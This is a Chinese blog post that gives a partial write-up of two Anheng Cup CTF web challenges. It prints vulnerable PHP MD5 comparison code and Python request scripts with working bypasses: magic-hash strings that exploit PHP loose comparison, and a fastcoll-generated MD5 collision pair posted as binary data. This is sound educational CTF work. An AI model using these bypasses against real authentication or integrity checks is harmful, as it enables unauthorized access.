安恒杯部分writeup【1】

Easy MD5


easy MD5 cracking <!--$_POST['data1']!=$_POST['data2']--><?php
if(isset($_POST['data1']) && isset($_POST['data2'])){
  if($_POST['data1'] != $_POST['data2'] && md5($_POST['data1']) == md5($_POST['data2'])){
    print('flag{401cf19d304e557349fecda18110c138}');
    exit();
  }
}
print('fail');
?>
PayLoad
使用弱类型绕过


import requests
if __name__ == '__main__':
  r = requests.post('http://example.domain/', data={
    'data1': 's878926199a',
    'data2': 's155964671a'
  })
  print(r.text)

MD5


MD5 cracking<!-- if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))--><?php
if(isset($_POST['data1']) && isset($_POST['data2'])){
  if((string)$_POST['data1'] !== (string)$_POST['data2'] && md5($_POST['data1']) === md5($_POST['data2'])){
    print('flag{9bd1ee7355b58e53214adb9a37b4cb82}');
    exit();
  }
}
print('fail');
?>
PayLoad
生成两个MD5值相等内容不同的二进制文件只需要1.622秒。。。


fastcoll_v1.0.0.5.exe -o c1.txt c2.txt
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)

Using output filenames: 'c1.txt' and 'c2.txt'
Using initial value: 0123456789abcdeffedcba9876543210

Generating first block: ......
Generating second block: W.......
Running time: 1.622 s

import requests
if __name__ == '__main__':
  r = requests.post('http://example.domain/', data={
    'data1': open('c1.txt', 'rb').read(),
    'data2': open('c2.txt', 'rb').read()
  })
  print(r.text)

写在后面

这次比赛获得二等奖很感谢法哥,这次第一题就是构造一个POST包,我以前一直用FireFox开发者工具的编辑重发来构造POST包的,这次居然要发一个二进制文件,然而F12并不能引用文件,我用了1个多小时写Python写不出来,还是法哥帮我写的Python。。。可见熟练使用一门编程语言是多么重要,没有法哥就没有这个二等奖,法哥牛逼!

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注